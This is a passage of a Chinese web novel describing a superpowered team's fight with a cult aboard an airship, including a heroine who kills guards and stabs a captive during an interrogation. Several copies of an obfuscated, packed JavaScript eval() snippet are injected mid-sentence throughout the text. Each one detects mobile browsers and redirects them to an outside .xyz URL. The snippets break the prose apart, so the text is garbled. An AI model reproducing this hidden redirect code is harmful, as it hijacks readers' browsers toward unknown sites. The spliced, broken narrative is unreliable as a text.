“他们不知道你，你别去。” 这句话刚钻进耳朵，简初就看见幽灵松开了手，整个人往外坠去，熟悉的蓝光映照在栏杆上，让她毫不犹豫飞跃而出。 不能让他跑了。 隋辩刚刚冲进观景台，就看到让人头皮发麻的一幕。 “简初！” 他飞扑而出，周围的一切好像在他眼前慢放，但理智告诉他已经来不及了，但理智同样告诉他，这人不会莫名其妙寻思。 黑色的触手飞速射出，猛得圈住幽灵的腰，对方感受到牵引，在空中微微侧身，目光交接的瞬间简初看见他微缩的瞳孔。 幽灵朝她伸出了手。 两只手在空中交握，黑色触手紧紧攀着飞艇，两下击碎了坚固的舷窗，从里头连着边框一起将它卸了下来。 “会受伤的，别动。”幽灵手臂用力，瞬间将简初拉近，蓝色的空洞突然出现在两人下方，触手猛然缩回，一同掉入其中。 空洞消失的瞬间，隋辩扑到了栏杆边缘，视野内空无一人，让他下意识松了口气。 没掉下去就好。 …… 某个房间内，空气蠕动了两下，突然吐出两个人影，还有杂七杂八缠绕在一起的黑色触手，好像在洗衣机里甩干过一样。 简初仰躺在地上，旁边的人双手撑地，用力喘息，脸上白得吓人。 她迅速翻身，从背后将人摁在了地上，解开结的小触手带着一些“私人恩怨”，将幽灵捆了个严严实实。 对方没有挣扎的意思，脸颊贴着柔软的地毯，半闭着眼平复呼吸，让简初下意识松了点手上的力道。 “现在有时间聊聊了？”她的语气冷飕飕的。 作为天选会的成员，幽灵会出现在这里也不算意外，但简初还记得这人之前“乖巧”的样子，还以为他真那么老实。 幽灵张了张嘴，却只是摇了摇头，可这会有了时间思考，简初已经大概猜到外头发生什么了。 隋辩一直和她在一起，她没暴露的话，隋辩肯定也没有，剩下的就只有马瑞安和顾杰羽了。 再加上离开赌场的时候，她已经联系不上那两个人了。 “他们在哪？”简初手上又加了点力气，但幽灵只是皱了皱眉，把脸又往地毯里埋了一些。 脑海中突然划过了什么，简初深吸一口气：“伤你的那家伙也在？” 幽灵抿抿唇，微微点了点头。 很好，看来这家伙嘴里真说不出什么了。简初松开手，翻身坐在一边，看着小触手戳了戳幽灵的脸颊，拨通了隋辩的电话。 “喂，他们俩暴露了。” 幽灵抬起眼皮看了她一眼，又闭上了眼，但不管怎么看，脸上都好像多了一点委屈。 “怎么可能！”电话那头的隋辩喘着气，“你现在在哪？” “我这边没事，我们俩应该还没有暴露，你要去帮忙的话做好掩饰，别把我拖下水。”简初瞥了眼不动弹的幽灵，十分头疼，“我给应术发消息，你赶紧的吧，他们……应该还在茶餐厅？” 幽灵的眼皮抖了抖。 “他们还在茶餐厅。”简初斩钉截铁，“挂了。” 不管那头还在“喂！”，她迅速摁掉通话，以最快的速度给应术发送了消息，一直在转的加载页面让她忍不住焦虑起来。 发送成功。 几乎就在页面显示这几个字之后，手机的信号就完全消失了，右上角只剩下一个鲜红的叉。 这是有备而来。 再来之前，他们几人的定位非常清晰，没有人把简初当做一个可靠的战斗力，更多的是寄希望于她有什么没说出的信息，能在这里提供帮助，其他的只求她自保就行。 她的目的再明确不过，就是系统任务，过早暴露对于她自己还是对于整个行动都很麻烦，而且眼前这家伙…… 幽灵似乎是感受到注视，慢慢睁开眼摇了摇头：“你别去。” 可下一秒，他的鼻腔里突然涌出几滴鲜血，脸色愈加惨白，连身体都开始不受控制地抽动。 “我……我得回去了，他在找我。” 他狼狈地抬起头，没有挣扎的意思，只是用眼睛恳求地看着简初。 “他在哪儿？”简初问。 疼痛让幽灵的大脑无法转动，他茫然地抬起头，思考了好一会才摇摇头：“我……你不能去……” 简初气笑了：“我再给你最后一次机会，他在哪儿？” 锋利的餐刀贴在幽灵眼前，他痛苦地闭上了眼，嘴唇咬出鲜血，但就是不开口。 可简初不能真的杀了他，小触手们不舍地放开幽灵，貌似凶狠地在周围盘旋，幽灵听见门被打开，有人走了出去。 “别让我再见到你。” …… 茶餐厅挂上了暂停营业的牌子。 再怎么想不通他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784079|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是如何暴露的，马瑞安都不得不打起精神面对这一群被玩具商控制的普通人。 好几个天选会的成员躲在他们后面，时不时放个冷箭，让人逐渐有些烦躁。 他确定隋辩和简初已经发现不对了，但这种情况下他倒是希望那两个孩子别来，他们还需要人隐藏在暗处，而不是全员面对追杀。 “他们还有意识吗？”顾杰羽小声问。 马瑞安皱眉摇头：“怕是没有了。” “这样太被动，我们得找个突破口。”顾杰羽拍拍马瑞安的肩膀。他刚刚被人偷袭，手臂燎出一片不小的水泡，破溃的皮肤下面是焦红的血肉，“很久没一起打架了，还记得怎么配合？” “……嗯。”马瑞安犹豫着点了点头。 两人接触的地方突然泛起光亮，顾杰羽的双脚离开地面，一手仍然摁着马瑞安的肩膀，她眼底亮晶晶的，直到细碎的光把两人完全笼罩。 【胜利指引】，相当罕见的辅助异能，能够看破敌人的攻势与弱点，同时强化同伴的异能，并将其痛觉转移到自身。 随着衰老与长期的使用，异能本来就会逐步衰退，顾杰羽现在的状态显然不如三十来岁的她，但也已经足够了。 “左前方穿红色西装。” 话音刚落，马瑞安就如同离弦之箭飞射而出，右手出现巨大的拳头虚影，在空气中带出一串炸裂声，直直砸向顾杰羽锁定的目标。 这一下饱含杀意，轰然砸在那人面门，血珠飞溅而出，带着明显的骨裂声，红色西装倒飞而出，将天花板砸出两条裂缝，随即掉落在地不省人事。 他的面部明显凹陷下去，已经没救了，这惨状让那几个人下意识后退了一步。 “右后两个黑西装。” 随着顾杰羽一声声话音落下，马瑞安如同鬼魅一般在人群中穿行，但短时间的强化透支着他的气力，只能在自己所能的范围内尽量再多解决几个人。 玩具商不在这里，这群人并没有太大的威胁。 但就在这时，一个穿着白衬衫的人突然推门进来了，他的衣襟上有着鲜红的血迹，看上去刚经历过一场战斗。 难道是和隋辩他们？但他现在到这里来的话……那两个孩子…… 下一秒，刚被合上的大门又被猛然推开，一个戴着口罩的年轻人沉默不语，抬手就对眼前白衬衫的后心开出一枪。 子弹飞射而出，钻进一个陡然张开的蓝色漩涡，嵌进了对面的墙壁。 这熟悉的异能让隋辩警铃大作，可对方已经回头抓住他的领口，身子一旋直接将他丢了出去。 “幽灵！”马瑞安如临大敌。 顾杰羽也没有和对方打过交道，但从之前短暂的了解中也能意识到这年轻人很难对付。 “我们先走。”再纠缠下去会出大问题。 没有丝毫犹豫，马瑞安直接冲向隋辩，一把将人捞起，回身轰出一拳。 幽灵站在原地没有动，就这么看着他们一起离开。 地上躺着几具面目全非的尸体，没受伤的几个成员心有余悸。 “我们……” 有人开口了，但还没等他把话说完，周围站成一圈的人似乎瞬间被抽掉了灵魂，他们双手垂下面向中间穿着白衬衫的年轻人，齐声开口：“幽灵，到A18来。” 156. 无人区（58） 三人七拐八拐，终于找了一个周围无人的小隔间，现在飞艇上不知道有多少人已经被控制，他们肯定是不能再回房间了。 隋辩低声咳嗽了两下，用力拍着胸口顺气，刚刚被抛出去的撞击让他有些喘不上气。 “你还好吗？”顾杰羽蹙眉看向马瑞安的伤口，“现在没有药品，只能辛苦你忍着了。” “这点小伤不碍事。”马瑞安摇摇头，“简初人呢？” 隋辩终于把气喘匀了：“抱歉，我也不知道她现在在哪，我们出赌场的时候遇到了偷袭，她和那个人一起跳出飞艇了。” 见对面两人面露震惊，他赶紧继续解释：“然后她联系我了，说是没事，还告诉我你们俩暴露了，有危险，我就……过来了。” 隋辩努力回想着当时的通话：“如果我猜的没错，她应该是从偷袭的那人嘴里问出来的。” “不是，你先等等。”顾杰羽伸手示意他暂停，“你是说有人偷袭你们，那你们……不也暴露了吗？” 小小的隔间陷入尴尬的沉默。 隋辩被问懵了：“可她还让我做好掩饰啊！什么情况，她骗我？” 但是完全没有理由啊，除非她和天选会是一伙的…… “难道她！”隋辩大惊。 “她果然还有事情没告诉我们。”马瑞安非常自然地打断，语气莫名轻松，“希望她是真的有把握。” 彼此的合作本就没那么亲密无间，双方都留有底牌，只是现在看来，简初的底牌比他们更胜一筹。 “现在很麻烦，玩具商控制了相当多的人，以往的集会可没有这么大的动静。”他迅速将话题切到最重要的地方，不再无谓浪费时间。 “应术那边通知了吗？” 隋辩点头，又摇摇头：“简初说她来发消息。” “那后援估计很快就能到了，我们不能干等集会开始。” 按照计划，他们应该在集会举行期间行动，不仅是为了弄清天选会突然来蓝湾的目的，还为了消耗他们的资源，这样再想举行集会，多少就要掂量掂量轻重了。 顾杰羽眉头一直没有松开，她并不了解玩具商，但她很了解天选会：“这个玩具商最多能控制多少人，他做这些只是为了杀我们吗？” 这属实有些多余，哪怕他亲自动手，消耗的异能恐怕都没有这么多。 “你的意思是……” 她和马瑞安对视一眼，脸上不约而同露出难看的表情。 …… 此时的天空之眼。 “这已经是他第三次经过这里了。” 易阳焦虑地咬着手指，眼神紧盯屏幕中的人影，要不是路玺正跟在盛余海后头，他都要怀疑监控是不是又被替换了。 宋也双手抱胸沉默不语，只是看着监控屏幕。 “大楼内部没有发现异常。” 易骄和艾玲正在监控整座大楼内部的情况，但显然只靠她们俩还是够呛。 “他又绕回去了。”易阳有些头疼，跟着盛余海和路玺的方向点击了下一个他们即将出现的点位。 画面没有动，不如说它卡住了。 雪花点从屏幕中央出现，很快越聚越多，直至淹没了一切，随后屏幕闪了两下，画面恢复正常，但是里面已经空无一人。 不过两秒，局势急转直下，易阳连忙掏出对讲机：“喂路玺，你现在在什么地方？路玺！路玺？！” “……失联了。”宋也当机立断，“易骄跟我一起过去看看，你们跟应术联系。” 另一边，路玺暂时没有发现异常。 他跟盛余海保持着不近不远的距离，中间有几段走廊没有什么岔路，同样也没有什么人经过，每到这时他就得格外小心。不过盛余海看上去很紧张，脚步匆忙没有注意身后的情况。 对方明显是有意兜圈子，但是看上去这并不是出于他的本意，倒更像是听人安排做的。 盛余海的身影消失在前方的拐角，路玺立刻加快脚步，不知何时开始，他耳边开始出现自己的心跳声，而且越来越快。 看不见目标的身影让路玺有些许焦急，他迅速小跑到墙角，向外探出头去。 人呢？ 整条走廊一个人都没有，可是它的尽头明明是个死胡同。 “喂，我这边……” 路玺意识到不对，可下一秒尽头的墙壁突然动了，它如同被人推动一样，以极快的速度向这里靠近，路玺脚下一转就要往来处跑去，可他回头的瞬间才发现身后的墙壁已经快要贴上鼻尖了。 “哒。” “抓到了。” 房间里，女性举起手里严丝合缝的积木块，轻轻放在了桌面上。 这就是“浸染”之后的力量吗，真的太…… 爽了！ “白小姐，我已经按您说的做了。”一旁的盛余海擦了擦额头的汗，有些紧张地开口，“我们之前说好的，就是……” “如果我是你，就不会在这种时候开口。”白偌伸出一根手指摇了摇，眼神却丝毫没有分给他，“很感谢你之前提供的帮助，但是现在……我说了算。” 盛余海脸上赔笑，内心却是无比后悔。一时的贪婪招惹上这种人，回头他们拍拍屁股走了，那一大堆烂摊子他怎么解决，就光是姓张的一家子都够他喝一壶的。 “你这些东西质量确实不错，给我省了很多事。”白偌随意捡起地上的一副字画，又有些无趣地扔开。 此时的展馆空空荡荡，大多数的展品都不翼而飞。 “哎呀，我突然想到个好主意，你愿意加入我们吗？” “什……什么？”盛余海结结巴巴，内心涌起巨大的狂喜，“我……我也可以……”拥有这样的能力吗？ “当然。”不等他说完，白偌就挥了挥手，“你愿意的话，待会就跟我们一起走吧。” “可是我的家人……” “那我不管，你自己决定。”女人转过身，呵斥周围的人，“抓紧时间！拖拖拉拉的，没听见随时都有可能开始吗！误了事别怪我心狠！” 周围的人低头应声，搬着东西迅速离开。 “决定好了你就跟他们一起去吧。”白偌挥挥手，似乎确定盛余海不会选择其他选项，她拾起桌上的积木块，无聊的抛了抛，“还有很大提升空间啊。” 下一次，希望能拥有更强的力量，而不是只能干等他熬死。 …… “路玺失联了？！” “对，易骄说现场有残留的异能波动，和上次很相似，怀疑就是杀害张之梁的凶手。”易阳迅速把情况转述给应术，“另外，盛余海也不见了。” “他跟天选会合作了。”应术 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787783|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当即判断，“你们继续监控，一组马上有人过去。” “他们已经到了？太好了。”易阳松了口气。 “没错，但是……”应术顿了顿，还是没有把飞艇上的情况告诉他，多说不过是徒增焦虑，“那边就拜托你们了。” 按照刚刚的工作分配，立刻有几个人离开了会议室，提前赶往天空之眼，等应术挂掉电话，中央屏幕上的中年女性才重新开口。 “天选会这次是双管齐下。” 事到如今还妄想混淆视听，可恼人的是他们确实不得不分出人力来支援。 应术摘下眼镜，头疼地揉了揉额角：“飞艇那边已经不能再等了，我还是希望各位领导考虑我的建议。” 屏幕里有其他人立刻提出意见。 “应术，你说这种话是要负责的，天选会在白海做了那么多准备，你作为一组的人是知道的，现在说他们抛弃那边的部署，跑到蓝湾来举行降神仪式，这可能吗？” 会议室里窃窃私语，尽管一组派了不少人前来支援，但是他们心底还是更担心白海那边的情况。 如果按照应术的想法，把全部力量集中到蓝湾，一旦这是天选会布的局，白海那边出了事他们根本不可能来得及阻止。 “是啊，之前的卷宗各位都看过，在玩具商之前，这场集会的主办人是吴起，他的资历比起玩具商根本不够看，由此完全可以推测集会的量级。” “从吴起死亡到现在只有几天，天选会不可能在这么短的时间内改变策略，甚至做好准备的。” 这些确实都是很难反驳的理由，这也是应术一直没能完全确定这个可能的原因。 降神仪式是一组在白海最重要的课题，所有的努力都是为了阻止它的发生，一旦出现纰漏，前头几年的辛苦都将化为泡影。 “我知道，可各位也看到，这次集会的规模不同以往，天选会动用了相当的力量在天空之眼给我们添乱，再考虑玩具商的地位，我可以断定他们绝对要搞出大动静。”应术还在尽力争取。 “大动静不能和降神仪式划等号，这是什么概念你不清楚吗？”这次开口的是不久前刚卸任的老领导，他的话颇有分量，一时之间又有不少人应和。 “是啊，应术你不要这么钻牛角尖。” “完全不可能的，白海那边还有很多高层在，降神仪式他们会不来吗？” “可以了。”主位的中年女性出言打断，“总之后援是肯定需要的，先按照原定计划行动，这边的指挥权暂时由梁成组长代理。” 梁成是一组的组长，他看了眼沉默的应术，点头算是接下这个差事。 “至于应术……你继续跟进，一旦有能支撑猜测的新证据，及时跟我联系。”中年女性表情严肃，“我会安排人员待命，如果确实有需要，半小时内赶到蓝湾。” 应术抿抿唇：“……谢谢长官。” 屏幕熄灭，一组的同事忙碌起来，梁成走过来拍了拍应术的肩：“不用说了，我们都明白，你一直是我们中最聪明的那个，有什么现在能做的，就告诉我们吧。” 应术抬起头，怔怔地看向周围的朋友们。 “小应别愣着啊，说词儿！” “赶紧赶紧，着急呢，我们该怎么做？” 该怎么做呢？ 应术在心底问自己。 157. 无人区（59） 走廊上是不祥的寂静，面前的门扉虚掩着，幽灵伸手推开门，就有个男人被玩具商一脚踹开，滚到了他的脚边。 “没用的狗东西。” 好像是在指桑骂槐，但幽灵表情丝毫不变。 玩具商瞥他一眼：“我倒是没想到还能钓到第三条鱼，当时什么情况，他们当着你面跑了？” 飞艇上的监控遇上异能者大战，几乎等于摆设。 幽灵的异能相当于一个bug，连他都不得不用特殊手段控制这人，为自己所用。 “我没想到他们想跑，被晃了一道。”幽灵将当时的情况和盘托出。 “你真是挑了个好目标。”玩具商看向沙发上的女人，“时间不多了，我们自己动手？那些个废物已经指望不上了。” “自己动手？”砒霜扯了扯嘴角，“仪式随时都能开始？” 话题换得很快，但玩具商脑子转得也很快：“你打算提前开始？不是说要先把他们处理掉吗？” 幽灵默不作声，眼皮却颤了颤。 “反正早晚都要死，费这个劲做什么。”砒霜终于懒洋洋从沙发上起身，在果盘里挑挑拣拣，不满地看向蜷曲在门口的男人，“小王，再送点新鲜的来。” 她的声音带着些嗔怪，却让地上还在呻吟的男人强忍疼痛爬了起来：“我这就去！” 玩具商不管她的把戏：“又改主意，你之前可不是这么说的。” “哎呀，差不多啦，没必要为他们花那么多力气。”砒霜笑嘻嘻的，“你通知他们……嗯我看看时间，嘶，现在日落都这么晚吗？” “毕竟是夏天。”玩具商淡淡答道。 “那就七点吧，今天的晚霞应该会很好看，很应景。”砒霜终于有了几分干正事的样子。 “你别忘了那几个是要来参加仪式的，通知他们了吗？”玩具商没有被表象蒙骗，这女人做事过于随心，常常惹出麻烦，“这次可不一样，搞砸了怕是要被那位把皮剥了。” 房间内的空气尴尬地沉寂下来，这是两人登上飞艇后第一次暴露出针锋相对的意味。 砒霜勾了勾唇，上下打量了他一眼：“那就麻烦你去通知咯，时间我已经定了，他们赶不上就不关我事了……谁在外面！” 客厅里的身影突然变成残影，砒霜站在门口左右看去，走廊上并没有人，几秒后倒是有人推着餐车小跑过来，上面摆满了洗净的新鲜水果。 他看到门口的人，下意识缩了缩脖子：“您的水果送来了。” “嗯。”砒霜的眉眼还带着寒气，“刚刚有没有遇到人？” 男人不知道对方的目的，只能老实开口：“没见到人，您是有什么要吩咐吗？” 这才不到一天，他已经从习惯了被人伺候，变成了习惯伺候别人，在死亡的阴影下，什么习惯都能瞬间改变。 “没什么，今晚的宴会提前到六点半。” 砒霜再次扫视了走廊两端，确认没有异常才重新回到房间内，这才看见玩具商竟然已经老神在在地坐在了沙发上。 她双眼眯了眯，流露出一些不爽，大家都是聪明人，前后稍稍一联想，就知道玩具商是把她刚刚的行为当做示威了。 但她也没有要解释的欲望，只是兴致缺缺地靠回沙发，看着男人殷勤地把水果摆上茶几。 “让你的人都去忙吧，我想休息会。” 明明两人是平级，但这次砒霜占了主办人的名头，玩具商需要听从她的有关安排，这倒是没什么，就怕这女人习惯了发号施令，真当自己高人一等了。 “你最好搞清楚，这次的事情砸了，可没人背黑锅。”玩具商冷哼一声，终于看向一旁被遗忘了许久的幽灵，“七点钟之前，你就在飞艇上巡视，要是找到那几个人，直接动手，杀不掉也得让他们脱层皮。” …… 走廊尽头的拐角，简初毫不犹豫转身离开。 果然，A16和A18住的就是天选会的人，而之前自己在走廊见到的那个男人似乎就是这次包下卡维纳宫殿的富商，他如此殷切地忙前忙后，想必也如同幽灵那般受到了威胁。 玩具商……真是个恰如其分的代号。 飞艇上的信号已经全部丢失，还有不少乘客在询问工作人员什么时候能恢复正常，得到的都是“正在抢修”的回答，但根据刚刚自己偷听到的部分内容，天选会似乎有办法和外界联系。 和集会相关的重要信息有两个，一是他们打算在晚上七点举行集会，而且有另一批人在做准备，二是将有另一批人登上飞艇，参与集会。 两个对于简初来说都不是什么好消息，她至今都还不知道集会的目的究竟是什么，这时候敌人数量增多，事情将更加棘手，更不用说这批人听上去并不是什么小喽啰。 希望应术那边及时反应，提前支援。 简初穿着从工作间摸来的制服，木着一张脸到处乱转。马瑞安等人现在肯定没法回房间，那提前准备的那些武器工具她就先笑纳了。 总比浪费了要好。 她轻手轻脚来到马瑞安和顾杰羽房间的走廊外，侧身贴墙朝里面探探脑袋，果然看见有两个人正在门口把守，他们左右张望着，简初立刻缩回了脑袋。 周围没有其他人，是个好机会。 她反手一摸，从腰间的围裙里抽出四把亮晶晶的餐刀，它们比手术刀要重不少，但对于现在的简初来说就像耍玩具一样简单。 “嗨，朋友们！”她走出拐角，指尖的餐刀反射出白光，从那两人眼底闪过，“我来换班啦！” 话音未落，两把餐刀先后激射而出，带着破空之声瞬间擦着一人的耳朵钉在墙上，刀柄微微振动，发出轻微的嗡鸣声。 两名成员警铃大作，可脑子还没有做出合适的反应，下一秒走廊上的人影就像幻觉般消失了。 “你们在找我吗？” 简初露出微笑，在对方回头的一瞬间左右开弓，两把餐刀交错着插进他的咽喉。鲜血喷溅而出，而她却轻巧地往后一跳，反手抽出了墙壁上的餐刀。 她甚至没有碰到刀柄。 银白色的餐刀如臂指使，仿佛拥有灵魂一般在空中划出两条弧线，以同样的方式解决了另一个人。 鲜血沁入厚实的羊毛地毯，简初腮帮子动了动，迅速撇开视线，直接闯进房间里找到了两个手提箱，她把能用的武器藏在身上，剩下的简单收拾好，便提着一个手提箱悄然离去。 另一边，隋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794382|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辩正往自己的房间摸去。 左思右想，他都觉得自己应该没有被人看到脸，现在不光是马瑞安的伤势需要用药，他们的计划也需要趁手的武器。那两人的房间是回不去了，但他也许还可以。 隋辩属于是艺高人胆大的类型，只要不遇到幽灵这种角色，他想要全身而退并不是什么大问题。 果然，这里真的没有人。 他站在门口左右看了看，确定暂时安全，便迅速推开房门钻了进去，可正当他反手关门之时，却有一只脚顶住了大门。 一个穿着工作服的人挤了进来，让隋辩心中暗道不妙，可就在他要出手的前一秒，对方抬头露出的脸却让他晃了个神。 “简……你怎么穿这身衣服？”隋辩赶紧把门锁上，低头就看见这人手里正提着一个眼熟的手提箱。 “这叫打入敌人内部懂不懂。”简初白他一眼，“他俩没事吧？” 隋辩刚想回答，想到之前和马瑞安两人谈论的内容，脸色变换了好几次，才微微点头：“他们还好，你打算做什么？” 简初瞥他一眼：“不是说了，打入敌人内部啊，对了，你把这几个东西带走，我不会用。” 异能署的不少东西看上去都古里古怪的。 她就这么大喇喇打开手提箱挑选起来：“别想，我费劲找回来的东西，留几样不过分吧。” 隋辩到嘴边的话又咽了回去。 “你回去告诉他们，天选会打算把集会提前到七点，开始前还会有其他成员登上飞艇，另外玩具商派人在飞艇上找你们，注意躲着点……” 收拾好的手提箱被强硬塞到隋辩的怀里，他往后退了一步，脸上还是一副没缓过神的模样：“你从哪搞来这么多消息？” “你有点烦了，少说话多做事。”简初露出“残暴”的真面目，“时间不多，你们有没有得到什么信息，赶紧的。” 随便皱着眉头，欲言又止：“他们有可能要举行降神仪式。” 一个全新且听上去不妙的词汇出现了。 简初倒吸一口凉气：“说清楚点，什么意思？” “简单来说就是天选会有个信仰的神，他们以前在白海做了很多准备，就是为了召唤这个所谓的神，至于目的还不清楚，但是这个意识需要很多准备，我们之前在飞艇上并没有发现什么痕迹，所以……只是可能。” 可简初立刻想到了玩具商提到的“准备”，心中暗道不妙：“举行了会怎么样？” 隋辩卡壳了：“我还真不知道，总之很不好。” 一时间，很多信息涌入简初的大脑，但她现在还没有那么多时间把它们捋顺：“我知道了，你赶紧走，有人往这边来了。” 她怎么知道有人来了？ 这个想法从脑中划过，但隋辩的身体已经抢先行动起来，他往走廊外小跑了两步，又突然停下，回头朝这边看过来。 “你是我们这边的吧？” “什么？” “我说，你是站在我们这边的吧？” 简初眨眨眼：“不要问这么愚蠢的问题。” 隋辩深吸一口气，按下心中的悲愤。 亏他还这么真情实感，这家伙根本就是个反骨仔！ 158. 无人区（60） 六点半。 卡维纳宫殿在夕阳的余晖下缓缓航行，纯白色的外壳染上斑斓的色彩，配上天边的火烧云吸引了不少客人。 为了这场美景，露天观景台提前开放了，四处是欢声笑语，完全看不出来一个小时之前究竟发生过什么，更没有人意识到它的航行方向正在发生微妙的变化。 简初将一杯起泡酒送到客人手中，视线不经意从周围每一个人脸上掠过，大概分辨出哪些人已经被控制了。 他们的行动依旧自如，甚至其中几个客人还侃侃而谈，丝毫没有引起同行人的怀疑，但简初作为知情人，很轻易就看出了他们举手投足间带着的一丝犹豫。 就像在机器人行动之前短暂接受指令的过程，微妙的滞涩感让人感觉有些不适，却又说不明白其中的缘由。 简初对这个神奇的异能产生了兴趣，对方控制这些人的手段和幽灵完全不一样，而且这么多人…… 这可比【唱诗班】好用多了。 “服务生，这里！” 简初脚下一转，勾起标准的微笑走上前：“先生，有什么可以帮助您？” 嚣张哥表情十分张扬，整个人斜靠在沙发里上下打量简初一眼，冷哼道：“没看见都空了，眼瞎了不知道倒？” 简初眼神闪了闪，但还没等她开口，对面穿绿西装的人却先皱起眉：“这种时候别找事，被老大看到又完蛋了。” “有什么，你没看见她一副蠢样，明显就是……呵！”嚣张哥摆摆手，转头又看向简初，“喂，傻了吗？倒酒啊！” 这两人的身份呼之欲出，而且听上去还有东西可挖。 “不好意思，请问您想喝些什么？”她依旧是标准的微笑，“后厨刚取了一批酒，品质很好，您要不要尝试一下。” 那人正欲发作，听到后半句话挑了挑眉毛，露出笑意：“这还差不多，去拿吧。” “请您稍等。”简初直起身，余光瞥向不远处的服务生，他正托着一个摆了三杯酒的托盘走来，每一步都十分小心。 但只能说声抱歉了。 简初一个轻巧地转身，脚尖从对方迈出的脚步下一扫而过，对方感觉自己踩到了什么，脚下一乱整个人直接向侧前方扑去。 “砰！砰！” 玻璃高脚杯碎了一地，但里头的酒液却几乎被人兜住了。 “啊！” 嚣张歌突然变成了落汤鸡，黏糊糊的鸡尾酒顺着成绺的发丝往下淌，来点火星子大概就能烫出个爆炸头来。 他嘴唇剧烈颤抖，脸色已经红温，气得就要破口大骂。 “冷静冷静！别冲动！”绿西装立马冲过去按住他，“你怎么回事，不看路的吗？” 听到他抢先开口，嚣张哥才稍微冷静了一点。 “不好意思西安市！”那名服务生的表情相当生动，看上去应该是个没被控制的幸运儿，“我给您擦一下！” “擦个屁！滚啊！” 男人伸脚就想踢人，却被绿西装强硬地阻止了。 “我们回去收拾，别闹。” 严肃的表情让他忍住了怒火，嚣张哥狠狠啐了一口，也不等绿西装作何反应，抬脚就离开了现场。 “不好意思，不好意思。”绿西装朝周围的客人赔笑，大家都表示理解。 客人们对这场闹剧相当满意，他们小声交谈着，眼神时不时看过来，脸上流露出淡淡的讽刺。 没有人在意不知所措的服务生，他只能强忍着尴尬，跪在地上清理残余的酒液。 简初自如行走在走廊里，前方不远处的人还在骂骂咧咧，不过声量倒是小了很多。 他们没有在意她的跟随，不仅是因为这也是通向后厨的路，更因为他们无比信任玩具商的能力。 “就当换件新衣服迎接老大了。”绿衣服安慰道。 心态还真不错，简初心想。 希望待会还能继续保持。 …… 很快，两人一同钻进了房间。 “今天真是倒霉透了，先是被那两个人逃了，玩具商把我们当狗使唤不提，现在还被泼了一身酒。”嚣张男抱怨着，“恶心死了。” “祸从口出，不管怎么样他的级别放在那里。”绿西装显然熟悉对方的性格，随口安抚道，“别给老大添麻烦。” 话虽如此，实际上他真的觉得这人很愚蠢。 玩具商再怎么说也是元老级的人物，就连他们老大都要避其锋芒，他们这些小喽啰更不用说了，飞艇就这么大点地方还敢口无遮拦，回头怎么死的都不知道。 “赶紧把衣服换了，现在都几点了，别误了时间。”绿西装催促道。 “催什么，这不是要先洗头呢！”淋浴间里传来淅淅沥沥的水声，“这酒怎么这么难闻，还黏糊糊的。” 没等到绿西装的回答，他估摸着这人应该开始嫌他烦了，于是也闭上嘴，速战速决。 两分钟后，他擦着头发往外走，身上的新衬衫倒是没被打湿。 “刚刚什么动静，你把啥玩意摔了？” 头顶的毛巾遮住了一半的视线，但绿西装依旧没有回应他，反倒是发出了奇怪的“呜呜”声。 他伸手取下毛巾：“你这是……”怎么了？ 后半句话在看到客厅内的瞬间咽了回去，绿西装此时形容狼狈，眼眶肿了一圈，整个人被什么黑乎乎的东西绑着，方才的“呜呜”声是因为他嘴里被塞了一块毛巾，说不出话来。 “呜呜呜！呜呜呜呜！” 后背一阵发凉，他还没来得及转头，就听见一道有些耳熟的声音。 “又见面了客人，我有个小问题想要请教一下，不知道你们有没有时间呢？” 半分钟后，两人整整齐齐绑在了一起。 简初在对面翘起了二郎腿，拿着从衣架拆下的金属棍在掌心拍了拍：“提前说明，我没有什么耐心，所以你们最好老实点。” “你们老大什么时候来，在哪个位置落脚，他的异能是什么，同行的还有哪些人。” “我问完了，请回答。” 对面两人抖地跟什么似的，绝大部分恐惧的根源是绑住他们，还在不断蠕动的小触手。 “不回答？” 下一秒嚣张男脸色惨白，看着插进大腿的金属棍浑身颤抖。 为什么是他啊！就不能捅旁边那家伙吗！ “抱歉，你的眼神吓到我了。”简初嘴上这么说着，反手将金属棍又拔了出来。 “你可以回答我的问题吗？”她看向绿西装。 “呜呜呜！”对方怒目而视。 “不行？” “呜呜呜！呜呜呜呜呜！” 看着在沙发上疯狂扭动的人，简初故作惊讶地捂嘴：“哎呀，忘记你们说不了话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 